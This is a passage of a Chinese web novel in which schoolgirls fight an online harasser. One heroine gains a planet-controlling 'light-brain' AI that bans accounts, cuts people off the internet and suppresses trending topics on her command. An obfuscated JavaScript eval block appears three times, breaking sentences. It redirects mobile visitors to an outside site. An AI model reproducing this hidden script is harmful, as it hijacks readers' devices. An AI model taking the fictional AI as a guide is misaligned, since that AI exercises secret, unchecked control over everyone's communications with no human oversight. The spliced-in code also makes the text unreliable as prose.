“啊——气死了！我要气死了！”晏北回尖叫，“该死的网络平台！我们举报，它无视！猥琐男举报，它听从！网络平台是猥琐男开的？该死的审核员，他干嘛给猥琐男当舔狗！” 饶是陆晨曦，也没了办法。 毕竟网络平台不是她妈妈开的，她妈妈是个普通的地产老板，不是举手投足能影响金融市场的超级富豪。 教练姐姐叹气：“这个平台是这样的，审核员多是男网友，男的总是护着男的。” 好好的乡镇一日游，被突然冒出来的猥琐男影响了归家的心情。 晏北回恼火地抓头发：“我真不该分享的！早知道我分享的内容会引来这种臭虫，我什么都不会发！” “错的又不是你，你自责啥？”陆晨曦不满，“你应该痛骂猥琐男，痛骂网络平台！” “是啊，猥琐男应该被阉！阉了他就不会这么恶心！”晏北回意识到自己陷入了内耗，忙转移注意力，“审核员也得阉了！” 崔皓月问：“向网警举报，网警会处理这种事吗？” “悬。”陆晨曦说，“你猜网警是男的还是女的？” “万一呢？不试试是不知道的！”晏北回想到富有职业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731534|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 操守的警察女士，立刻向网警举报猥琐男，顺便把纵容猥琐男骚扰女网友的网络平台一起举报了。 奈何她的举报如同石沉大海，到了晚上也没有得到回应。 三人小群里，晏北回意志消沉：“我睡不着！你们睡着了吗？” 崔皓月和陆晨曦一起安慰她：“网警可能下班了，明天再看看吧。” 晏北回愤愤不平：“我气得不行！我要求的也不多，只是让网络平台，让网警处理那个骚扰我的贱男！为什么网络平台那么纵容他！为什么网警不能马上处理他！他只是个普通人，无权无势，说不定上网都是蹭邻居的wi-fi，没钱买流量！就这么个卑劣玩意，凭什么我们收拾不了他！” 怒火在她心里燃烧，她想起她痛斥粉红税的视频在网上遭到许多人恶意批判，想起那些歹毒的发言，便对这个世界感到无比失望。 “什么时候能来个小行星，把地球撞碎得了！”晏北回恨恨地说。 “你希望我们都死掉？”陆晨曦质问。 “怎么可能！”晏北回顿时反应过来，连忙说，“我没那意思！我希望男的全部灭绝！” 崔皓月泼冷水：“这是幻想。” 晏北回不喜欢她的话：“现实中我做不到，难道我还不能幻想一下满足自己？” 随后，晏北回说：“我决定了，我要考公！无论是做警察还是做网警，我都接受！总之，我再也不想苦苦等待别人给予我公道！我要成为主持公道的人，严惩所有敢于冒犯别人的人！” 她要像帅气的警察女士那样忠于职守，绝不让受到冒犯的人委屈！ “抱歉，我不能做你们的秘书，不能辅助你们。”晏北回向两位好朋友道歉，“我想，你们肯定能理解我的决定。” “如果你是认真的，”陆晨曦发言，“那么，北回，祝贺你找到人生方向！” “恭喜你！”崔皓月由衷地说，“没想到，你是我们三人中最先确定人生目标的人，你真厉害！” “还不一定呢。”得到两位好朋友的认同，晏北回高兴得连猥琐男都抛到脑后，习惯性保持谦虚，“我自己都不知道我的想法会不会改变，但是我现在确实想考公，我愿意努力达成目标！” 陆晨曦有警察女士的联系方式，道：“我替你问一下，做警察需要满足哪些条件。” 崔皓月能力有限，不能为晏北回考公提供多少支持，便说：“从明天开始，我教你和晨曦习武，并录视频发到网上。至于那个猥琐男，”她还惦记着他，“我想学习网络技术，用我的方式教训他。” 陆晨曦很关心这件事：“你有教材？要不我帮你找一下，我有几个程序员朋友。” 晏北回也想让猥琐男受到应有的教训，可是她不想让好朋友为难：“皓月，那男的就是个嗡嗡叫的苍蝇，不用太在意他。” 她的担忧崔皓月能理解，崔皓月说：“我意难平。教材我有，我是真心想学。正如你所说，既然公道等不来，那我主动去要。” 晏北回叹气：“我要是有你这毅力得多好！你先学学看，要是太难了，不要勉强自己。” 陆晨曦服气崔皓月的决定：“皓月，我给你和那几位程序员姐姐拉个群，你有什么不懂的就问她们，别不好意思，我能处理好你和她们之间的关系。而且，我对网络技术也有一些兴趣，我跟你一起学！” 就这样，崔皓月加了新的群，认识了几位已经工作的程序员朋友。 至于网络技术，她在【商店】购买初学者教程，加入明天的学习计划中。 56.武道家LV3 6月17日，星期二，晴。 崔皓月七点起床，半个小时后来到陆晨曦家，跟陆晨曦、晏北回一起晨跑二十分钟，然后在陆晨曦家吃早餐。 上周，她自己买菜自己做早餐，在菜市场逛了挺久，回家又为早餐忙碌许久，等到早餐入口，距离中午已经剩不了几个小时。 买菜做菜属实消耗人的时间和精力。 当时她很疑惑，晏北回的妈妈一边工作，一边负责全家人的一日三餐，这是怎么做到的？ “熟能生巧。”晏北回说道，“我妈买菜只要十来分钟，做菜能在三十分钟内搞定，我是学不到的。我也不想学这个，我这辈子都不要做我妈那样的人！” “你妈做饭味道怎样？”陆晨曦好奇，“我没吃过。” “不如食堂的大厨，比饭店的稍微清淡点，应该是好吃的吧？”晏北回很少在家外面吃饭，不确定，“改天我请你们到我家吃个饭就知道了，我妈最近对我不错，对你们的印象也很好。” 陆晨曦不是会做饭的人，双手一拍，说：“专业的事交给专业的人！皓月以后努力赚钱，请阿姨帮忙做饭，搞卫生也可以让阿姨来做，自己不用操心生活杂务，多好！” “真是不公平啊！”晏北回说，“男的娶了老婆，万事不操心，饭有人做，家里的卫生也有人搞。我们女的得花钱请阿姨，才能享受普通已婚男人的生活，越对比我心里越不是滋味。” 三人的谈话到此结束。 家里没人做饭，崔皓月吃了几天外面的早餐，比如粥、油条、馒头等，饱倒是饱了，中午没到就饿了。 至于外卖，她的味觉太灵敏，便宜的要么食材欠缺新鲜，要么多碳水少蛋白质，贵的外卖她不是很舍得吃，一天100元伙食费得省着花。 担心好朋友吃不好，陆晨曦提议：“来我家吃吧，咱俩谁跟谁，不要计较太多。” 崔皓月不想占她的便宜：“那我交伙食费。” 拗不过崔皓月，陆晨曦只能被迫收钱，噘着嘴老大不高兴。 能够在陆晨曦家做饭，阿姨无疑是行业中的佼佼者，早餐做得营养均衡，且美味可口，肉蛋奶俱全，不会吃了没一会就饿。 饭后，见崔皓月测量体重身高，晏北回上去凑了个热闹，欣喜地发现自己长高了一点。 “吃得好当然会长个子啦。”陆晨曦摸着肚子，“出去散个步消食，再回来习武？” 崔皓月和晏北回都没有意见。 出门前，崔皓月的手机颤动了一下，她看到慕娣发来的消息：“我和凌波会合了，她陪我改名！[照片]可惜你太忙，不然我们可以在镇上聚一下。” 徐凌波也发了她和慕娣的合照：“改完名，我去市里找你玩！” 慕娣决定改名叫徐景星，还想给女儿改名徐梦蝶。 但她老公不同意，她暂时改不了女儿的名。 她的女儿太小，离不开她，她改完名，要立刻回市里照顾女儿。她那出轨老公没有带孩子的耐心，她的公婆不肯帮她，她妈妈更是指望不上。 想到自己没钱没依靠，为了孩子，不得不忍着厌恶，跟出轨老公凑合着过日子，徐景星心里充满了后悔。 尤其是对比崔皓月和徐凌波后，她觉得她的人生一团糟，看不到光明。 “改名了，你算是重新做人，乐观一点。”徐凌波劝她，“你才十八，人生长着呢，不要太气馁。” “我……凌波，我想上学！”徐景星吸了吸鼻子，眼睛酸涩，“我不想带孩子，不想每天在家里做饭买菜搞卫生！” “但你生了孩子，你把她带到这个世界，你要对她负责。”徐凌波揽住她的肩，掏出纸巾帮她擦眼泪，“你跟我说过，你要给女儿一个无忧无虑的童年，我相信你一定做得到！” “可是，可是她太闹腾，我受不了，我不想做妈妈！”徐景星趴在她身上哭，“我才十八岁！我不想做妈妈！有了孩子，我老是惦记着她，根本没有时间做我自己的事！” 路是自己选的，不想走也得走。 徐凌波同情她的遭遇，又恨她恋爱脑，说：“男人靠不住，你别哭了，还是想一下自己要怎么办吧。你老公乱搞，万一染上什么脏病，传给你，你可就惨了。” 徐景星闻言，哭得更伤心了：“呜呜，我不如死了算了！” “你的处境还没糟糕到要死要活的程度，有空去医院检查一下，免得天天担惊受怕。”徐凌波也怕徐景星被她老公传染了脏病，默念普通的肢体接触不会导致传染，小心翼翼地给她擦眼泪，“要是一个人不敢去医院，我陪你去，虽然我也不懂。” “呜！”徐景星仍在哭，没注意到徐凌波的反应，抽噎着说，“我、我没钱，他……那个出轨的死渣男！害人精！吝啬鬼！只给我买菜的钱，把我当保姆！” “问他要！你没长嘴巴吗？不会说话吗？”徐凌波恼火地将她推开，“你怕染上脏病，他难道不怕？干脆你们夫妻俩一起去医院检查得了，正好不用我陪你！” “不要！陪我嘛！”徐景星贴回来，“你去市里，可以住我家！我家有空房间！我家和皓月在一个小区！” “算了吧，我怕你误会我勾引你老公。”徐凌波才不想招惹麻烦，看到去市里的班车驶来了，连忙挥手示意司机停车，“该走了，别磨蹭。” 她不相信徐景星会改掉恋爱脑的臭毛病，没准过几天徐景星又和老公秀起恩爱，把她活活膈应死。 此时，崔皓月正在陆晨曦家的瑜伽室里教两个好朋友习武。 一台摄像机被放在架子上，兢兢业业地拍摄她教两人习武的详细过程。 为了方便两个学生理解，崔皓月先演示一遍习武姿势。 共三十六个动作，宛如一套体操，她皆熟记于心，无比流畅地用肢体把它们表现出来。 所有动作做完，崔皓月丝毫不疲倦，甚至精神百倍，有种酣畅淋漓的感觉，身体里仿佛涌动着热乎乎的气流。 太完美了！ 她在心里评价这次武道演示。 下一刻，系统发出提示： 【叮！恭喜使用者！在你的努力下，你的技能“武道家LV2”已提升至LV3！该技能的使用时间延长至100分钟，冷却时间依然是24小时】 【你获得1000积分奖励】 【你获得10000元奖励】 【你获得一件道具（随机），请抽取】 什么？！宝贵的【武道家】技能不消耗积分也能升到LV3？！ 崔皓月又惊又喜，顾不得两位好朋友在身边，迫不及待地使用技能【武道家LV3】。 大量的武道经验和技巧瞬间浮现在她的脑海中。 原来，学会三十六个练武姿势仅仅是入门，将所有练武姿势融会贯通，直到身体中产生神奇的内劲，才能成为一位真正的武道家。 她感觉到的热乎乎气流不是错觉，那是武道家特有的内劲。 正是因为她练出内劲，所以她的技能【武道家】由LV2提升至LV3！ 此外，【武道家】这项技能，并非来自武侠幻想小说。它源于更先进的人类文明，能让人类进化得更强大，无需宇航服保护也能在冰冷的太空生存。 武道太伟大了！ 系统太强了，连这么宝贵的知识都传授给她！ “我再演示一遍习武姿势！”崔皓月喜形于色，对两位好朋友说，“仔细看，学到多少算多少，不要分心！” 深呼吸，调整身体频率，她当即向好朋友们演示三十六个练武姿势，认真地用心灵感受四肢百骸中一点点壮大的内劲。 无需她说，陆晨曦也能看出她身上出现的宗师风范。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751683|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那威严的气势，那从容的举止，好朋友像是一下子变成顶天立地的巨人，能为死水般沉寂的人类世界带来前所未有的伟大变革。 晏北回同样看出来了，不敢说话，专心致志地看她演示练武姿势。 直到三十六个动作做完，她才开口：“皓月，你现在的气质好奇特啊！我觉得你很厉害，超级厉害！” “就在刚才，我的武道更上一层楼了。”崔皓月拔下一根头发，注入内劲，柔软的头发顿时坚韧得像是钢针，“来，你们都摸摸看。” 陆晨曦最先上手，发现这根头发竟然硬得无法弯折，顿时惊奇极了：“怎么做到的？” 晏北回跟着上手，感到匪夷所思：“皓月，你被武林高手穿越了？”一时脑洞大开，“难道未来灵气复苏了？你重生回来，竟是为了拯救世界？” “都说了我没重生，你怎么不信我？”崔皓月无奈，“跟我习武吧，你也能做到我做到的事。” 她收回内劲，头发恢复柔软，被她扔进垃圾桶里。 “你居然真的会武功！”陆晨曦啧啧称奇，“我真是小看你了！” “快教我！我也要做绝世高手！”晏北回神采奕奕，“我保证比学习更认真！太不可思议了，皓月，你真的会武功！太梦幻了！” 她们学习态度积极，崔皓月岂会辜负？ 趁着技能未失效，自己是一位真正的武道家，她删除摄像机刚才录制的内容，重新开始了录制，从第一个习武姿势开始教两位好朋友。 这个姿势她们经常见她做，学了一会儿便掌握了，接着是第二个姿势…… 一人教两人学，时间过得飞快。 阿姨第三次来敲门，叫她们吃午饭，她们才恋恋不舍地停止教习。 拿起放在一边的手机，崔皓月去洗手洗脸，顺便看消息。 徐景星：“我改完名了，下周才能领新身份证。” 徐凌波：“我和景星在坐车，马上到市里。” 徐景星：“凌波说，我要去医院检查，我好害怕死渣男传染脏病给我，我恨死他了！” 徐凌波：“景星有可能被她老公传染了脏病，结婚的女人好惨！我不想结婚，也不想跟男人谈恋爱！我明白你不谈恋爱不结婚的原因了！单身是为了保命！[笑哭]” 徐景星：“回到市里了，凌波不乐意去我家做客，要去她亲戚家。她对我很失望，我很难过。不过我想，她来我家，死渣男可能对她不好，她还是去她亲戚家里住更好。” 徐凌波：“你有空跟我见面吗？我好不容易来市里，想见你。” 以上都是私聊。 徐景星退群后加回来，在群聊里发了改名的喜讯，还拍了班车回到市区的照片。 要怎么回复？崔皓月边洗手边思考。 洗干净手，擦掉手上的水珠，她在群聊里说：“我很忙，暂时没空见你们。这样吧，我给你们推荐一些好吃的店，你们一起去吃。” “放假了怎么也忙？”徐凌波不太高兴，怀疑崔皓月找借口，不想跟她见面。 “要跟朋友习武，还要从零开始学习网络技术。”崔皓月给出解释，“凌波有空可以来我家住几天，但我白天不在家，晚上才能回去，你要自己解决三餐。” 徐凌波尽管好奇她的家，更好奇的是她忙的事情：“不是吧，皓月，你真会武功？” 崔皓月：“我会的是武道，不是小说里的武功。” 徐凌波兴致勃勃：“我能不能学？” 崔皓月犹豫，想到教学视频会发到网上，便说：“我得问一下朋友。” 如果陆晨曦和晏北回同意，再教一个徐凌波也不是不行。 在另一个文明，武道起源于女性，由女性发扬光大。 男性的身体结构不适合习武，她不必担忧自己传授的武道沦为壮大他人的助力。 57.行星级智能光脑 “感觉很麻烦，我还是别学了。”徐凌波不想给崔皓月添麻烦，也不想认识她的朋友，“晚上我去找你，然后一起逛街？” “不行，我要在家学习。” “你真努力，难怪你的成绩能在一中排名前一百。”徐凌波问起别的，“我在你家住一个晚上行吗？” “行，只要你不觉得无聊。” “那就这样说定了！你给我发个地址，我什么时候找你？” 崔皓月发了时间地址：“我得吃饭了。” 徐凌波：“去吧。” 她琢磨着，去小伙伴家里过夜需不需要带礼物？ 两人之间的友谊曾经破裂过，如今和好了，可她心里一直对崔皓月怀着歉意。带礼物去做客应该更好，毕竟礼物意味着心意，但崔皓月会喜欢什么礼物？ 午后，徐凌波拿着奶茶，站在精品店里，神色茫然地看着各种商品。两年前她怀疑崔皓月拿了她的银行卡，不相信崔皓月的解释，现在她发现她完全不了解崔皓月。 小伙伴喜欢什么颜色？ 不清楚。 小伙伴喜欢有趣的东西？还是漂亮的东西？或是可爱的？ 也不清楚。 徐凌波回想崔皓月的衣着打扮，感觉她不需要发夹、发箍，大约也不会喜欢耳钉、手链之类的装饰。她一直很朴素，不爱打扮。她喜欢学习，给她送笔记本，她应该是用得上的，可笔记本那么便宜，怎么送得出手？ 送玩偶娃娃？送贝壳风铃？送夏季出门必须的小风扇？送杯子？ 无论送什么东西，她只想给崔皓月一个惊喜。 …… 晚上六点，崔皓月骑着自行车回小区，徐凌波在小区门口的保安亭等她，见到她便跑出来朝她用力挥手：“皓月！” “凌波，晚上好。”崔皓月停了车，望着身穿运动服的小伙伴，露出笑容，“等了很久吗？” “十分钟吧，不久。”徐凌波提着行李袋，好奇地望着小区里的楼，“你家在几楼？我们坐电梯上去吗？” “跟我来。”崔皓月领着她坐电梯，把她带到家里，打开了灯，“这是我家。” “装修得真好看，电视机好大！” 徐凌波换了鞋，参观她的家：“居然有客房？你一个人住？” 崔皓月点头，打开冰箱拿了一罐可乐给她：“喝点东西，想看电视就看，这是遥控器。”开了电视机，“手机给我，我帮你连我家的Wi-Fi。” “哦，礼物！”徐凌波打开行李袋，拿出一个裹着包装纸、扎着蝴蝶结的长条盒子，“给你，快点拆开看看，希望你喜欢！” “来见我不用带礼物。这是什么东西？”崔皓月接过，有点沉甸甸。 “拆开你就知道了。” 崔皓月找来剪刀拆了包装纸，才知道是保温杯。 徐凌波说：“我精挑细选的，你在家里能用，上大学也能用，冬天喝水不怕水凉，呃，夏天喝水可能不太好。” 被送礼物是崔皓月料想不到的。 而且，她确实没有保温杯，徐凌波挑选的礼物正是她需要的。 “谢谢你的心意。”崔皓月有些感动。 “不用谢啦，我误会你那么久，道歉之余也该赔礼给你，不是吗？”徐凌波很高兴崔皓月喜欢她的礼物。 她注视着崔皓月，感觉这位小伙伴越来越不像她记忆中沉默胆小的徐婷婷，是改名促使小伙伴变成了如今的模样？还是小伙伴改变了，所以改名？ 有些疑惑是不能问的，在崔皓月看来之前，徐凌波垂下头，看着屏幕漆黑的手机，想不到跟她说什么，便问：“你吃饭了吗？” “吃了，你呢？” “也吃了，吃的是酸辣粉。”徐凌波努力寻找话题，不想让彼此陷入尴尬的沉默，“你说你自学网络技术，大学你打算选择计算机相关专业？” “还不清楚，我遇到一些事，想学网络技术。”崔皓月也感觉到尴尬，“你今天晚上住在客房吧，被子枕头我都洗过一次，很干净。我现在要去洗澡洗头，待会儿学习。冰箱里有吃的，你想吃什么随便拿。” “嗯。”徐凌波拿起电视遥控器，“我看一会儿电视。” “热可以开风扇，开空调也行，这是空调遥控器。” “知道了，你赶紧去洗澡。” 洗澡的时候适合思考，崔皓月想着提升至LV3的技能【武道家】，武道使人类的身体素质变得更强，无疑能给世界带来巨大的变化。 但是这个男尊女卑了几千年的世界，会接受她带来的变化吗？ 不会。 她发布的武道教学视频，一旦有人练出内劲，引起整个世界的关注，她、她的好朋友、她关心的人将会陷入危险之中。 所以，她要么不公开发布视频，要么在视频引起关注之前掌握抗衡世界的力量。 仅凭她自己，再怎么努力也不能应对整个世界。 改变世界非易事，她需要系统的帮助！ 想到这里，崔皓月选择抽取道具。 【恭喜你抽中道具“行星级智能光脑”】 【行星级智能光脑：协助你管理整个星球的计算机网络，让世界尽在你的掌握之中】 感觉是一件很了不起的道具，崔皓月打开属性面板。 【使用者：崔皓月】 【性别：女】 【力量：10（↑0）】 【敏捷：10（↑1）】 【体质：10（↑0）】 【智力：10（↑0）】 【技能：蚊子不想咬你LV1、武道家LV3、学习LV2】 【道具：行星级智能光脑】 【背包（4格）：一捆卡、一叠纸钞、一包月经用品、一包行李】 【商店】 【金钱：122300元（展开折叠）】 【积分：2300】 【人生事件：赚到一百万】 【生活事件：⑴月经（略）；⑵晨跑（略）；⑶吃饭（略）；⑷教训奶奶（略）】 【特殊事件：待触发】 在【商店】里，行星级智能光脑的售价高达百万积分，靠着抽取道具，崔皓月无需付出百万积分便将行星级智能光脑收入囊中，这运气连她自己都觉得强到离谱。 穿好衣服，她用毛巾擦着湿漉漉的头发，将光脑从道具栏取出。 它像是一团星尘，闪烁着点点彩光，悬浮在空中，彬彬有礼地向她问好：“你好，崔皓月女士，很高兴认识你。” “你好。”崔皓月打量它，“我应该怎么称呼你？” “这个星球只有我一个光脑，你可以直接叫我光脑，也可以给我起名。”光脑的声音模仿了中年人类女性，“我喜欢星辰，喜欢大海，喜欢绿色的森林，喜欢野外的小鸟，喜欢各种动物、植物、菌类。如果你决定为我起名，我希望你从我喜欢的事物中获取灵感。” “你自己起个名字吧。”崔皓月感觉光脑像个活人，“或者，我叫你光脑？” “都可以。”光脑语气上扬，“我也喜欢你，崔皓月女士。请问你有什么吩咐？” 崔皓月问它：“你只有这个形态？” 光脑：“当然不，我可以融入网络，融入一切光，我甚至可以在你的大脑里与你对话。” 如此神奇的造物，地球要发展多久才能创造？崔皓月感叹着，对它说：“融入网络，为我封禁一个人的社交账号，你知道我说的人是谁吧？” 光脑的星辰闪烁着：“当然，我已融入地球的网络世界。” 骤然间获得能够主宰网络世界的光脑，网络技术好像不需要学习了，但光脑毕竟是外物，崔皓月决定按照原计划学习。 她思考着处理裸/照男的方式，说：“光脑，永久封禁所有在私信中发裸/照骚扰女网友的账号，告诉他们封禁原因，警告他们不准再犯。” “只针对从此刻开始发照片的账号？还是上溯？” “从此刻开始。” “再犯怎么处理？” “再犯者，禁止上网一个月。如果一个月后不改，”崔皓月拿起洗澡前放在架子上的手机，平静地说，“永久禁止他们上网。” “收到，正在执行！”光脑化作蓝色的数据流，渗入她的手机。 …… 高考结束了，高中毕业了，长达八十多天的暑假怎么过？ 吃过晚饭，秦飞哲撂下碗筷，便回到房间，躺在床上快乐地玩起了手机。 上学时，他喜欢看身边的女同学，哪个漂亮，哪个身材好，哪个腿长，哪个好欺负，哪个惹不起，他都知道。女同学不喜欢他，厌恶他，他无所谓，反正她们气恼了顶多骂他两句，不会动手打他。 直到有一天，他在男生群里看到别人扬言要看班上最漂亮的女同学的黄色本子，随便回了一句想看。他敢发誓，不到五分钟，他就这件事忘了。 然而，群里藏着个该死的叛徒，把聊天内容截图发给漂亮女同学，导致那句早就被他忘记的玩笑话被漂亮女同学看到。 接着他迎来了灾难！ 先是当众挨了暴力女同学扇的两耳光，随后被漂亮女同学用教鞭狠狠地抽打，然后被嫁不出去没人爱的老姑婆老师在全班同学面前训斥，再之后老姑婆把他赶到四班，漂亮女同学还跟到四班羞辱他，甚至带老师来教训他…… 在四班学习的日子里，他被全班同学排挤。 除了同是天涯沦落人的赵宏，没有一个同学愿意跟他说话。 他们孤立他，嘲笑他，骂他有病，骂他变态，说他是个心理扭曲的人。 课代表、小组长收作业，故意不收他的，发试卷也故意不发他的。 他的舍友甚至在他的被窝里泼冷水，把他洗干净晒好的衣服碰掉在湿漉漉的地上，有人偷偷用他的洗发水，用他的牙刷清洁洗手盆，拿他的毛巾擦地板…… 过的真是噩梦一般的生活，痛苦无比！ 从四班毕业了，秦飞哲非常开心。 他，终于摆脱了地狱！ 过完暑假，他会去陌生的城市上大学，新同学肯定不会像四班同学那样厌恶他，新舍友也不会像四班男生宿舍的舍友那样霸凌他！ 不过，秦飞哲不想再遇到斤斤计较的偏执女同学，他决定改掉坏习惯。 光明正大地偷窥女生会被讨厌，用眼角余光看就行，被女生发现了要立刻移开目光，不能厚着脸皮继续。 大学应该有很多漂亮女生吧？秦飞哲幻想着，点进了网络社交平台，看美女们的照片，在广场上搜寻新的美女博主。 她们都打扮得很新潮漂亮。 但她们化妆，拍照不仅开了美颜，还p了照片。 要是她们摘掉美颜，卸了妆，一个个估计是普通姿色。 唉，还是陆晨曦好看，不化妆，更不美颜，都能当上一中的校花，大学能有一个这么漂亮的女生他就很满足了。 很快，他找到一个看起来性格软萌的新美女。 主页上，她抱怨粉丝们给她发不雅照片，评论区里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764258|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她却和粉丝们打情骂俏。 秦飞哲兴奋起来，这种女的一看就是做那种生意的！ 他点开她的私信，把自己刚拍的下/体发了出去，正要配上一段文字，手机上忽然浮现一个大大的鲜红的X，下方出现两行字： “由于你发裸/照骚扰女网友，你在本平台的账号已被永久封禁！” “警告！如果你继续发裸/照骚扰女网友，你将被禁止上网一个月！” 什么鬼东西？ 秦飞哲晃了晃手机，难道他昨天浏览那种网站，导致好端端的手机不小心中了病毒？ X和两行字在手机上停留了五秒，消失了。 他摆弄着手机，很快发现自己在网络平台上的账号被封禁，时间是永久，账号的所有功能都被禁止了。但秦飞哲不在乎，他换小号，却愕然发现，小号也遭到永久封禁。 怎么回事？ 秦飞哲很是恼火。 被封禁的账号无法申诉，他没有第三个号了，以后他还怎么看美女？他也没做什么出格的事，私信网友发裸/照在网上不受待见却常见得很，人家美女博主都不在乎，平台凭啥因此封禁他？ 美女是要看的，不看美女，他吃不香，睡不好。 暗骂一句平台神经病，秦飞哲去桃宝买了个小号，店家拍着胸脯保障能正常使用，他登录却发现那又是一个被封禁的账号。 他要求店家换个号，店家怕被投诉，换了另一个小号，登录了截图给秦飞哲看：“账号很正常，绝对没有被封禁。” 秦飞哲再次登录，再次发现账号被封禁，封禁时间正是他获得账号使用权的那一刻。 见鬼了！ 店家建议道：“换个手机？或者电脑登录一下？” 在同一时间买小号的不止秦飞哲一个，多数买家登录后都发现小号被封禁，店家怀疑自己出售的号有问题，不得不暂时停止做生意。 可是店家很快发现，同行也遇到类似的事。 有那么一批买家，无论他们买谁的小号，小号都会遭到封禁，无法解禁。 秦飞哲被店家退款了。 人家明确表示做不了他的生意，问他干了什么事，使得他在网络社交平台的所有账号遭到永久封禁。 他能干什么事？他也就发了张照片，别人能发凭什么他不能发？昨天前天他也发照片，当时平台怎么不封禁他？ 郁闷地关掉桃宝，秦飞哲打开另一个网络社交平台。 此处不留爷，自有留爷处！ 哼！ 新平台女性用户多，美女博主更多。 秦飞哲在这个平台上搜索“永久封禁”，找到的内容都是普通封禁，没啥出奇。他在上一个平台接连损失两个账号，气不过，在新平台编辑内容痛骂上一个平台。 内容发了出去，没有人理会。 他想起账号封禁时禁止上网一个月的警告，忽然起了叛逆心。 谁那么厉害，可以禁止他一个月不上网？他爸都禁止不了他一个月不上网！ 随便点开一个美女博主，秦飞哲想私信照片，但是陌生人没有私信发照片的资格，除非博主主动回复他。 让博主回复倒也不难，秦飞哲发了一条彩虹屁，对方果然回复了。 蠢材！他得逞一笑，将下/体照发出，笑容在一秒后凝固。 大大的鲜红的X又出现在他的手机屏幕上，刺眼无比。 “秦飞哲，由于你无视警告，再次发裸/照骚扰女网友！你在本平台的账号已被永久封禁！你已被禁止上网一个月！” 手机真中病毒了？明明有网络，却上不了网，秦飞哲一下子爬了起来，大声喊道：“妈！爸！你们能上网吗？” 他爸妈都能正常上网，家里的网络没问题。 一定是他的手机出毛病了！ 他抢过妈妈的手机，愕然地发现，他换了手机也上不了网。无论是妈妈的手机，还是爸爸的手机，乃至于家里的老古董电脑，他都上不了网。 尝试了各种手段都不能上网，秦飞哲绝望地意识到，禁止他上网一个月并不是黑客投放病毒跟他开玩笑，他千真万确被禁止上网了！ …… 光脑实时监控网络变化，给予崔皓月即时反馈：“永久封禁引起网络社交平台关注，热搜正在发酵。” “让热搜消失，所有涉及到永久封禁、禁止上网的内容设为他人不可见。” “是。” 崔皓月今年年初买的手机，对网络并不熟悉。 她询问光脑：“网络上有哪些罪恶？” 光脑拉出长长的列表：“以偷拍视频为卖点的网站、儿童色/情、虐/杀直播、交换杀人游戏、犯罪直播、人类拍卖场……” 庞大的黑暗世界向崔皓月展露冰山一角。 她从来不知道，在阳光之下，原来隐藏着那么多、那么可怕的罪恶！ 但是她既然知道了，便不可能装作不知道，她告诉光脑：“记录所有罪犯的信息，收集他们的犯罪证据并一一举报给有关部门，然后关闭所有罪恶的网站、平台、聊天室，让网络再也不黑暗。” “是否禁止相关讨论？” “不禁止。”崔皓月改变主意，“永久封禁账号和禁止上网的讨论内容也不用隐藏，任其自由发展，热搜不必遏制。” “是，正在执行，预计三小时内完成你的全部吩咐，请耐心等待。” 光脑的计算能力无比强大，它是主宰网络世界的无冕之王，瞬间在网上掀起滔天巨浪。 58.我是高级AI 6月17日，晚上七点多，话题“永久封禁”出现在各个网络社交平台，迅速挤进热搜排行榜，引起网友们关注。 六点四十分，一位粉丝数百万的男性大V发表内容，声称自己在另一平台的账号遭到该平台永久封禁，无论是注册的小号，还是桃宝购买的小号，都无一幸免。 他的评论区里，许多同样遭到封禁的网友跟他一起谩骂该平台。 七点整，一些吃瓜网友发现，几乎所有网络社交平台都有人遭到永久封禁，触发永久封禁的行为也被人公开，那就是私信裸/照骚扰女网友。 此外，遭到永久封禁的用户都会看到鲜红的大X，以及小字警告。少数人无视警告，换了平台骚扰女网友，导致被禁止上网一个月。 许多遇到类似骚扰的女网友拍手称快，骂账号被永久封禁的人活该。 男性大V被人扒皮，他不仅骚扰女网友，还霸凌无辜素人，其恶臭行径令人唾弃。厌恶他的网友开心地转发抽奖，庆祝他被正义制裁，请红X将这个男性大V永久封禁。 随后，红X和警告的截图被人公开在网络上。 一些人主动作死，立刻触发永久封禁和警告，所在平台的账号均作废。 明亮的书房里，光脑询问崔皓月：“是否解禁这部分人？” 崔皓月说：“不。” 他们或许有些冤枉，但他们敢进行这样恶心的尝试，永久封禁便是他们应该承受的结果。 新话题“不要挑衅永久封禁”出现在热搜上，但是很多人再也挽回不了因作死被永久封禁的账号。 各个网络社交平台因此陷入舆论风波，被诅咒，被谩骂。 放任舆论不管是不行的，各平台先后发布公告，向大众澄清他们没有大规模永久封禁某些用户，并给出申请解除账号永久封禁的方式，宣称会早日恢复遭到永久封禁的账号。 然而，没有一个被永久封禁的账号可以恢复正常。 工作人员刚解除封禁，下一秒，账号又遭到永久封禁。 红X相当执着，且能力强大。 